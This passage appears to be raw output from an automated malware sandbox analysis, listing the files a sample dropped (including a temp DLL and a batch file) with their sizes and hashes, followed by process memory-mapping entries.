                                          2c329e3e20ea559974ddcaabc2c7c22de81e7ad2

                                          SHA256

                                          bda08f8b53c121bbc03da1f5c870c016b06fa620a2c02375988555dd12889cdf

                                          SHA512

                                          c1fb5d40491ae22a155a9bd115c32cbe9dbcba615545af2f1a252475f9d59844763cd7c177f08277d8ef59e873b7d885fda17f2a504d9ec2c181d0f793cb542b

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Sigma\Cryptomining
                                          Filesize

                                          32B

                                          MD5

                                          4ec1eda0e8a06238ff5bf88569964d59

                                          SHA1

                                          a2e78944fcac34d89385487ccbbfa4d8f078d612

                                          SHA256

                                          696e930706b5d391eb8778f73b0627ffc2be7f6c9a3e7659170d9d37fc4a97b5

                                          SHA512

                                          c9b1ed7b61f26d94d7f5eded2d42d40f3e4300eee2319fe28e04b25cdb6dd92daf67828bff453bf5fc8d7b6ceb58cab319fc0daac9b0050e27a89efe74d2734e

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Sigma\Entities
                                          Filesize

                                          2KB

                                          MD5

                                          ba60431b366f83677a5bf1a2e4601799

                                          SHA1

                                          83f828c27de5429e25c38c36ba77e069d5c7b2de

                                          SHA256

                                          ab895ef5f75efd49dbb4fcdf7529e50ca622d13433e067bcf8a1f1127a944da3

                                          SHA512

                                          aa9ff0374fb3d4bff7ee5a78dd5ace340da4af1a844f453a40b2723a91b32e6e3f4bd736fb3f3cb210b016109660a7b5cc8440901c6bb410e61530286a4e0200

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Sigma\Fingerprinting
                                          Filesize

                                          110B

                                          MD5

                                          a004023825237dadc8f934758ff9eaf2

                                          SHA1

                                          c981a900b5ce63884635cedfe5ba722416021cb2

                                          SHA256

                                          3c4e82aae615a7bed985b4544afecb774b728df1cc9f7561ea25b97482119ef7

                                          SHA512

                                          e49667fca51a6497ccae9b881d679b857c025f2945ab93c9a6769b1c0a632329993daefab6eda9ed70a32a75630d7b3d93dda5acda8ff87ffe5f090ca7b35e4f

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Sigma\Other
                                          Filesize

                                          75B

                                          MD5

                                          c6c7f3ee1e17acbff6ac22aa89b02e4e

                                          SHA1

                                          bdbd0220e54b80b3d2ffbbddadc89bfbb8e64a8b

                                          SHA256

                                          a2f9f27d6938a74979d34484bced535412969c2533dc694bfa667fe81d66d7d4

                                          SHA512

                                          86ed28ffdd00b4a397a20968792fcd30dd4a891a187a7789c00c88b64689b334a11fa087eb54ccee813c181cf891b43184dde7af9a6f33caed2a71e2c445a7b4

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Sigma\Social
                                          Filesize

                                          35B

                                          MD5

                                          976b1cf7e3442f88cd8ba26d3f0965bb

                                          SHA1

                                          b75438dc71de4ac761d94a215ddbffadcd1225b0

                                          SHA256

                                          decde67630f29fc003cb1f2ccbd7371a05079985a9cce93ec93c4fadd8dc5541

                                          SHA512

                                          d0472fed72e1eb0a7747a693a0e654fbe92dd028db3cc42377810d90474dd4099ac981cca333eb52c18e75ed04a1f1f79f3bf5957fe8b16086f1252b3454b8d5

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists\1.0.0.21\Sigma\Staging
                                          Filesize

                                          519B

                                          MD5

                                          9ca5eb41a53645be63d247ad8a9a7869

                                          SHA1

                                          2e98b04b5a2efb04d20bc7fe51b05c4e4841205b

                                          SHA256

                                          f67c58a61ddef715b01debc66ddc0e3c365295ac9870328f6b8bdbcb02a6b8c9

                                          SHA512

                                          7dd7d295ccce957490f025eef124b22c809f140a96003126b801bbbdd94eb2115ee59e7d16dd1f020b1d6eaaff66853b9de2cbf7092c1692f40dbe21ab346fd8

                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                          Filesize

                                          1KB

                                          MD5

                                          f5f268a3d8760169bde3db6e00da5e6c

                                          SHA1

                                          00dc2443a967bf09147612f53ea5fc6a2cfb0b40

                                          SHA256

                                          b0f800d487f826601ef6a21ddd141c41d57182c1601e2adf1c0132b98c8d73b5

                                          SHA512

                                          c067de9cfefea861a08a29a1b10bcf93d360ec555bdd9fd24fb8f6ce6be432961a1acc4ccef786e953d86ef836db27fdef5fd5951930edd00e1c4fcfa3a9d67e

                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                          Filesize

                                          1KB

                                          MD5

                                          3ca75313de7ebb3a430fcb67070ab281

                                          SHA1

                                          58e09f7d879477b8b9b0ba59f13cfe749938779e

                                          SHA256

                                          e39d9c0a968c541855236d785f2c33a24d1efab18790a543bc553108197c879b

                                          SHA512

                                          4407de19d7637417680ec73d86ab57dfac98006a68338c45ec6cb69cb4a72b73b299c0b5cda88ce12f8a65c4e068f4fecf100d1cba1e8ba41429c258b62ca5e1

                                        • C:\Users\Admin\AppData\Local\Temp\0397ase.dll
                                          Filesize

                                          702KB

                                          MD5

                                          9b692f43d575acb739decfc809db7f2e

                                          SHA1

                                          bc42c60590cb908e765e2d97e8b3a92b4616cd30

                                          SHA256

                                          0581f0bf260a11a5662d58b99a82ec756c9365613833bce8f102ec1235a7d4f7

                                          SHA512

                                          f99f546940bd96c6e9cac6a8500f25280ed190b9830247a5c7249d30a40fd1b4e3c94ca0455e337e77682a7a2b14a259b0aa4cf9680e9ccf727f71ae69873473

                                        • C:\Users\Admin\AppData\Local\Temp\0397ase.dll
                                          Filesize

                                          702KB

                                          MD5

                                          9b692f43d575acb739decfc809db7f2e

                                          SHA1

                                          bc42c60590cb908e765e2d97e8b3a92b4616cd30

                                          SHA256

                                          0581f0bf260a11a5662d58b99a82ec756c9365613833bce8f102ec1235a7d4f7

                                          SHA512

                                          f99f546940bd96c6e9cac6a8500f25280ed190b9830247a5c7249d30a40fd1b4e3c94ca0455e337e77682a7a2b14a259b0aa4cf9680e9ccf727f71ae69873473

                                        • C:\Users\Admin\AppData\Local\Temp\DeepL_Logo_darkBlue_v2.svg
                                          Filesize

                                          1KB

                                          MD5

                                          777a20dc2f64eeb9195fb25113a3e7ac

                                          SHA1

                                          d6f8ffdd1f8caad4a978e621ae344a9fa5ba0313

                                          SHA256

                                          71df5c84f31125f2f585a82489a570efb6fb371c6ca2b8c1deabca4463e601ba

                                          SHA512

                                          216020d3f7325e717113ac85729cbbf99286c26124b2f7e422271867870a96eeb35548b91a1aee89cd8ff1102c526fe8fb1842ef408b18801673d17d418b8595

                                        • C:\Users\Admin\AppData\Local\Temp\lxpwR.bat
                                          Filesize

                                          714B

                                          MD5

                                          c89f63062141bea640be6864ba85f57f

                                          SHA1

                                          dce355e580893996f4df0753785f975fb7801d7e

                                          SHA256

                                          28770f2c402d52622b2a1ce5ee07aeb75071196a3699054af780766b6a3b1125

                                          SHA512

                                          773ec4a25afc690f2be3816544fe7718631c28be5d53c3b255b3466db270338f01829d1bd841536ef59d5f973e0eaf3e8a20fa8f22da9c137a295761d5da862b

                                        • \??\pipe\LOCAL\crashpad_1276_NLTUOGVEQCIERPRA
                                          MD5

                                          d41d8cd98f00b204e9800998ecf8427e

                                          SHA1

                                          da39a3ee5e6b4b0d3255bfef95601890afd80709

                                          SHA256

                                          e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                          SHA512

                                          cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                        • memory/380-145-0x0000000000000000-mapping.dmp
                                        • memory/380-147-0x00007FF920FC0000-0x00007FF921A81000-memory.dmp
                                          Filesize

                                          10.8MB

                                        • memory/396-184-0x0000000000000000-mapping.dmp
                                        • memory/408-150-0x0000000000000000-mapping.dmp
                                        • memory/428-205-0x0000000000000000-mapping.dmp
                                        • memory/752-153-0x0000000000000000-mapping.dmp
                                        • memory/928-176-0x0000000000000000-mapping.dmp
                                        • memory/1048-166-0x0000000180000000-0x0000000180009000-memory.dmp
                                          Filesize

                                          36KB

                                        • memory/1276-139-0x0000000000000000-mapping.dmp
                                        • memory/1312-174-0x0000000000000000-mapping.dmp
                                        • memory/1432-132-0x0000000000000000-mapping.dmp
                                        • memory/1952-173-0x0000000000000000-mapping.dmp
                                        • memory/2116-141-0x0000000000000000-mapping.dmp
                                        • memory/2188-130-0x0000000000000000-mapping.dmp
                                        • memory/2188-131-0x0000015B7F790000-0x0000015B7F7B2000-memory.dmp
                                          Filesize

                                          136KB

                                        • memory/2188-133-0x00007FF9237F0000-0x00007FF9242B1000-memory.dmp
                                          Filesize

                                          10.8MB

                                        • memory/2312-140-0x0000000000000000-mapping.dmp
                                        • memory/2340-144-0x0000000000000000-mapping.dmp
                                        • memory/2420-154-0x0000000000000000-mapping.dmp
                                        • memory/2952-135-0x0000000000000000-mapping.dmp
                                        • memory/2952-138-0x00007FF920FC0000-0x00007FF921A81000-memory.dmp
                                          Filesize

                                          10.8MB

                                        • memory/3088-163-0x0000000000000000-mapping.dmp
                                        • memory/3400-165-0x0000000000000000-mapping.dmp
                                        • memory/3676-158-0x0000000000000000-mapping.dmp
                                        • memory/3760-182-0x0000000000000000-mapping.dmp
                                        • memory/3776-142-0x0000000000000000-mapping.dmp
                                        • memory/4004-156-0x0000000000000000-mapping.dmp
                                        • memory/4020-180-0x0000000000000000-mapping.dmp
                                        • memory/4068-178-0x0000000000000000-mapping.dmp
                                        • memory/4296-149-0x0000000000000000-mapping.dmp
                                        • memory/4528-172-0x0000000000000000-mapping.dmp
                                        • memory/4712-207-0x0000000000000000-mapping.dmp
                                        • memory/5056-186-0x0000000000000000-mapping.dmp